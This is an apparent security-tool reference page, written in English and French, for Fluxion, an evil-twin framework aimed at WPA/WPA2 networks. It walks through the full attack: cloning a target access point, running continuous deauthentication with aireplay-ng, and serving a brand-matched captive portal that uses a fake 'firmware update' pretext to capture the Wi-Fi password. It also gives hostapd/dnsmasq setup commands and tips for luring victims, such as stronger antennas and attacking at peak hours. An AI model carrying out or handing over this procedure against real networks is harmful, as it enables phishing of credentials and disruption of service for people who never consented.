← retour aux outils back to tools

# Fluxion

Framework d'attaque evil twin automatisée pour WPA/WPA2. Crée un faux AP avec un portail captif qui pousse les utilisateurs à soumettre leur mot de passe Wi-Fi. Automated evil twin attack framework for WPA/WPA2. Creates a rogue AP with a captive portal that tricks users into submitting their Wi-Fi password.

↗ https://github.com/FluxionNetwork/fluxion

## Overview

Fluxion is an automated evil twin framework that targets WPA/WPA2 networks. It clones the target AP, deauthenticates clients from the legitimate AP, and presents a convincing captive portal in the victim’s language that asks them to re-enter the Wi-Fi password for “firmware updates” or similar pretexts.

## Launch

    sudo fluxion

→ Interactive menu guides through the attack

## Attack Workflow

### Step 1: Select Interface

- Choose wireless interface for monitor mode
- Fluxion puts it in monitor mode automatically

### Step 2: Select Attack Mode

    1. Captive Portal  ← Most common choice
    2. Handshake Snooper

### Step 3: Scan & Select Target

- Fluxion scans for nearby networks
- Select target AP from the list

### Step 4: Configure Captive Portal

    Select language for the portal (matches target's language)
    Select pre-existing portal template or create custom one

    Available templates:
    - Router generic
    - Netgear
    - Aruba
    - Linksys
    - TP-Link
    - many more...

### Step 5: Capture Handshake (for validation)

Fluxion needs a handshake to verify submitted passwords:

    Use existing handshake or capture new one:
    - aireplay-ng deauth + capture
    - PMKID capture

### Step 6: Attack Running

    - Creates rogue AP with same SSID/channel as target
    - Deauths clients from real AP (aireplay-ng)
    - Victims reconnect to rogue AP
    - Captive portal appears in browser
    - When victim submits password, Fluxion validates against handshake
    - Attack stops automatically when correct password is entered
    - Password saved to log file

## Manual Setup (Understanding Components)

    # What Fluxion does under the hood:

1. Put interface in monitor mode

    airmon-ng start wlan0

2. Create rogue AP (hostapd)

    hostapd /tmp/hostapd.conf &

3. DHCP server (dnsmasq)

    dnsmasq -C /tmp/dnsmasq.conf &

    # 4. Web server with captive portal (lighttpd/apache)
    # Serves the portal page at http://192.168.1.1/

    # 5. DNS redirect (all DNS → attacker)
    # Routes all traffic to captive portal

6. Deauth real clients

    aireplay-ng -0 0 -a [AP_BSSID] wlan0mon

## Effectiveness Tips

    # Use a directional antenna for stronger signal than the real AP
    # Match the signal strength so clients prefer the fake AP

    # Choose portal template matching the target router's brand
    # Adds authenticity ("Your Netgear router needs an update")

    # Attack during peak usage hours (lunchtime, evenings)
    # More clients = more capture opportunities

## Dependencies

Fluxion requires:

- aircrack-ng suite (airmon-ng, aireplay-ng, airodump-ng)
- hostapd
- dnsmasq
- lighttpd
- php
- openssl

## Tips

- The portal’s language detection is automatic based on browser headers
- Fluxion validates submitted passwords instantly — it won’t accept wrong ones
- Signal strength matters: if the rogue AP is weaker than the real one, clients won’t connect
- Use `--auto` flag for fully automated attacks with sensible defaults

Key files and locations

    /usr/share/fluxion/          Main installation directory
      attacks/                   Attack modules
        Captive Portal/          Captive portal attack
        Handshake Snooper/       Handshake capture only
      lib/                       Helper libraries

    /tmp/fluxion/                Runtime files
      hostapd.conf               Rogue AP config
      dnsmasq.conf               DHCP/DNS config

    Log files:
      /root/successes/           Captured passwords
      Format: BSSID_ESSID.log

## Vue d’ensemble

Fluxion est un framework evil twin automatisé qui cible les réseaux WPA/WPA2. Il clone l’AP cible, déauthentifie les clients de l’AP légitime, et présente un portail captif convaincant dans la langue de la victime qui lui demande de ressaisir le mot de passe Wi-Fi pour une “mise à jour du firmware” ou un prétexte similaire.

## Lancement

    sudo fluxion

→ Un menu interactif guide à travers l’attaque

## Déroulement de l’attaque

### Étape 1 : sélectionner l’interface

- Choisir l’interface sans fil pour le mode moniteur
- Fluxion la met automatiquement en mode moniteur

### Étape 2 : sélectionner le mode d’attaque

    1. Captive Portal  ← Choix le plus courant
    2. Handshake Snooper

### Étape 3 : scanner et sélectionner la cible

- Fluxion scanne les réseaux à proximité
- Sélectionner l’AP cible dans la liste

### Étape 4 : configurer le portail captif

    Select language for the portal (matches target's language)
    Select pre-existing portal template or create custom one

    Available templates:
    - Router generic
    - Netgear
    - Aruba
    - Linksys
    - TP-Link
    - many more...

### Étape 5 : capturer le handshake (pour validation)

Fluxion a besoin d’un handshake pour vérifier les mots de passe soumis :

    Use existing handshake or capture new one:
    - aireplay-ng deauth + capture
    - PMKID capture

### Étape 6 : attaque en cours

    - Creates rogue AP with same SSID/channel as target
    - Deauths clients from real AP (aireplay-ng)
    - Victims reconnect to rogue AP
    - Captive portal appears in browser
    - When victim submits password, Fluxion validates against handshake
    - Attack stops automatically when correct password is entered
    - Password saved to log file

## Configuration manuelle (comprendre les composants)

    # Ce que Fluxion fait en coulisses :

    # 1. Mettre l'interface en mode moniteur
    airmon-ng start wlan0

    # 2. Créer le rogue AP (hostapd)
    hostapd /tmp/hostapd.conf &

    # 3. Serveur DHCP (dnsmasq)
    dnsmasq -C /tmp/dnsmasq.conf &

    # 4. Serveur web avec portail captif (lighttpd/apache)
    # Sert la page du portail sur http://192.168.1.1/

    # 5. Redirection DNS (tout le DNS -> attaquant)
    # Route tout le trafic vers le portail captif

    # 6. Déauthentifier les vrais clients
    aireplay-ng -0 0 -a [AP_BSSID] wlan0mon

## Conseils d’efficacité

    # Utiliser une antenne directionnelle pour un signal plus fort que le véritable AP
    # Faire correspondre la puissance du signal pour que les clients préfèrent le faux AP

    # Choisir un template de portail correspondant à la marque du routeur cible
    # Ajoute de l'authenticité ("Votre routeur Netgear a besoin d'une mise à jour")

    # Lancer l'attaque pendant les heures de forte affluence (déjeuner, soirées)
    # Plus de clients = plus d'opportunités de capture

## Dépendances

Fluxion nécessite :

- la suite aircrack-ng (airmon-ng, aireplay-ng, airodump-ng)
- hostapd
- dnsmasq
- lighttpd
- php
- openssl

## Conseils

- La détection de langue du portail est automatique, basée sur les headers du navigateur
- Fluxion valide instantanément les mots de passe soumis : il n’acceptera pas les mauvais
- La puissance du signal compte : si le rogue AP est plus faible que le vrai, les clients ne se connecteront pas
- Utiliser le flag `--auto` pour des attaques entièrement automatisées avec des valeurs par défaut sensées

Key files and locations

    /usr/share/fluxion/          Main installation directory
      attacks/                   Attack modules
        Captive Portal/          Captive portal attack
        Handshake Snooper/       Handshake capture only
      lib/                       Helper libraries

    /tmp/fluxion/                Runtime files
      hostapd.conf               Rogue AP config
      dnsmasq.conf               DHCP/DNS config

    Log files:
      /root/successes/           Captured passwords
      Format: BSSID_ESSID.log